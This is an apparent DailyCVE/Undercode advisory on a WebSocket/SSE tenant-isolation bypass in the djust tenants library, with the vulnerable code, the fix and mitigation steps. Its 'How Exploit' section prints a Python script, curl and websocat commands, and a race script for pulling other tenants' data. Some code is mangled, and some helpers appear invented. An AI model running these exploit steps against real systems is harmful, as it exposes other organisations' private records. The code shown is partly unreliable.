djust Tenants, Tenant Isolation Bypass via WebSocket/SSE Path, CVE-2025-XXXXX (Critical) -DC-Sep2026-2409

Listen to this Post

The djust.tenants isolation mechanism was enforced only on the HTTP path. The current tenant was stored in `threading.local()` and set exclusively by the HTTP-only TenantMiddleware. On the live (WebSocket/SSE) path, `get_current_tenant()` was always `None` during mount and every event handler. The tenant-aware `QuerySet` manager failed OPEN, returning the unfiltered queryset and ignoring STRICT_MODE. This disclosed every tenant’s rows to whoever held the socket. Additionally, `threading.local` was shared across connections on the `sync_to_async` executor thread. The vulnerability exists because WebSocket and Server-Sent Events connections bypass the HTTP middleware that normally sets the tenant context. When a WebSocket connection is established, no tenant context is available, causing the tenant-aware manager to return all rows instead of filtering by tenant. This creates a critical data disclosure vulnerability where any authenticated user can access data belonging to other tenants simply by connecting via WebSocket. The fix moved tenant storage to `contextvars.ContextVar` for per-async-task isolation, bound the resolved tenant around WS/SSE mount and every dispatch, made both managers scope the base queryset once and fail CLOSED with `.none()` under default STRICT_MODE, and added system check S006 to warn when STRICT_MODE=False.

DailyCVE Form

Platform: djust tenants
Version: 1.0.7
Vulnerability: fail OPEN isolation
Severity: Critical disclosure
date: 2025

Prediction: Next release cycle

What Undercode Say

Analytics

Vulnerable code pattern (pre-1.0.7)
import threading
_tenant_context = threading.local()
def get_current_tenant():
return getattr(_tenant_context, 'tenant', None)
class TenantMiddleware:
def <strong>call</strong>(self, request):
_tenant_context.tenant = resolve_tenant(request)
return self.get_response(request)
class TenantQuerySet(models.QuerySet):
def _tenant_filter(self):
tenant = get_current_tenant()
if tenant is None:
if STRICT_MODE:
return self.none()
return self FAIL OPEN
return self.filter(tenant=tenant)
Test WebSocket connection without tenant context
websocat ws://target.com/ws/events/
Observe unfiltered data response
{"events": [{"id": 1, "tenant": "alpha"}, {"id": 2, "tenant": "beta"}]}
Fixed code (1.0.7)
import contextvars
_current_tenant = contextvars.ContextVar('tenant', default=None)
def get_current_tenant():
return _current_tenant.get()

How Exploit: (Educational Purposes!)

import asyncio
import websockets
import json
async def exploit_tenant_disclosure():
async with websockets.connect('ws://target.com/ws/data/') as ws:
await ws.send(json.dumps({
"action": "list",
"model": "sensitive_records"
}))
response = await ws.recv()
all_tenants_data = json.loads(response)
for record in all_tenants_data:
print(f"Tenant: {record.get('tenant')} | Data: {record}")
return all_tenants_data
asyncio.run(exploit_tenant_disclosure())
Establish WebSocket connection
curl -i -N \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
http://target.com/ws/events/
Send event subscription without tenant header
echo '{"subscribe": "all_events"}' | websocat ws://target.com/ws/events/
Threading.local race condition exploitation
import threading
results = []
def race_connection(tenant_id):
conn = create_ws_connection()
conn.set_tenant(tenant_id) Sets threading.local
results.append(conn.query_all()) May return wrong tenant data
threads = [threading.Thread(target=race_connection, args=(t,))
for t in ['alpha', 'beta', 'gamma']]
for t in threads:
t.start()
for t in threads:
t.join()
Results may contain cross-tenant data due to shared threading.local

Protection: from this CVE

Upgrade to patched version
pip install djust==1.0.7
Verify installed version
pip show djust | grep Version
Ensure STRICT_MODE is enabled
settings.py
DJUST_TENANTS = {
'STRICT_MODE': True, Must be True
}
Run system checks
python manage.py check --deploy
Look for S006 warning - if present, STRICT_MODE is disabled
Verify contextvars isolation (1.0.7+)
import contextvars
async def verify_isolation():
token = _current_tenant.set('tenant_a')
try:
assert get_current_tenant() == 'tenant_a'
async with websockets.connect('ws://localhost/ws/'):
Tenant context should propagate correctly
assert get_current_tenant() == 'tenant_a'
finally:
_current_tenant.reset(token)
Nginx WebSocket proxy with tenant header validation
location /ws/ {
proxy_pass http://backend;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-Tenant-ID $http_x_tenant_id;
Reject connections without tenant header
if ($http_x_tenant_id = "") {
return 403;
}
}
Custom middleware for defense in depth
class WebSocketTenantValidator:
def <strong>call</strong>(self, scope):
if scope['type'] == 'websocket':
headers = dict(scope['headers'])
tenant = headers.get(b'x-tenant-id')
if not tenant:
raise DenyConnection("Tenant header required")
return self.inner(scope)

Impact

Tenant isolation was enforced only on the HTTP path. The current tenant was stored in `threading.local()` and set exclusively by the HTTP-only TenantMiddleware, so on the live (WebSocket/SSE) path `get_current_tenant()` was always `None` during mount and every event handler. The tenant-aware `QuerySet` manager failed OPEN, returning the unfiltered queryset and ignoring STRICT_MODE, disclosing every tenant’s rows to whoever held the socket. `threading.local` was additionally shared across connections on the `sync_to_async` executor thread. Fixed in djust 1.0.7. Tenant storage moved to a `contextvars.ContextVar` (per async task); the resolved tenant is bound around WS/SSE mount and every dispatch; both managers scope the base queryset once and fail CLOSED (.none() under the default STRICT_MODE); and system check S006 warns when STRICT_MODE=False. No workaround on the live path short of upgrading.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top